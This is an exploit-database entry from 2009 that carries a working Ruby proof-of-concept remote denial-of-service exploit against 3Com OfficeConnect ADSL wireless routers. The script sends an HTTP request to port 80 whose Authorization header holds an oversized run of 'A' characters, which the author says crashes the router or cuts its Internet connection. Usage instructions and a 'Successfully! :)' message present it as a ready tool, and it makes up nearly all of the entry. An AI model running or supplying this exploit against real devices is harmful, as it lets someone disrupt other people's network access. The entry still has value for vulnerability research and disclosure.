Author

Alberto Ortega

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-9803

Category

dos / poc

Date add

19-12-2009

Platform

unsorted

=============================================
3Com OfficeConnect Routers Remote DoS Exploit
=============================================


# Title: 3Com OfficeConnect Routers Remote DoS Exploit
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Alberto Ortega Llamas
# Published: 2009-12-19
# Verified: no

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###############
# Model -> Tested on 3Com OfficeConnect ADSL Wireless 11g Firewall Router 3CRWDR100A-72 and 3CRWDR100Y-72
# Software Version -> Tested on 2.06T13 (Apr 2007, last version for these routers)
# Attacker -> Tested from GNU/Linux (Sidux and Ubuntu)
#
# Exploit languaje -> Ruby
# Type -> Remote Denial of Service Exploit by HTTP
#
# Additional info:
# - I tested it in other similar 3Com router and the system do not crash, but the Internet connection yes.
# - The bug can be exploited with Tamper Data (Firefox Addon) too, LOL.
#
###############
# Discovered and written by Alberto Ortega
# http://pentbox.net/
###############
 
require "socket"
 
host = ARGV[0]
buffer = "A"
send = ""
 
puts ""
if !host
    puts " 3Com OfficeConnect ADSL Wireless 11g Firewall Router"
    puts " Remote DoS Exploit by HTTP"
    puts " ------ Usage ---------------------------------------"
    puts " ruby 3com_dosexploit.rb host"
    puts " Ex: ruby 3com_dosexploit.rb 192.168.1.1"
else
    begin
        socket = TCPSocket.new(host, 80)
        puts "- Exploiting ..."
        # 8.times is enough to DoS
        9.times do
            buffer = "#{buffer}#{buffer}"
        end
        # Here are the HTTP packet, Authorization value causes the DoS
        send = "GET / HTTP/1.1\r\nAuthorization:#{buffer}\r\n"
        socket.write(send)
        puts "- Successfully! :)"
    rescue
        puts "Connection problem"
    end
end
puts ""



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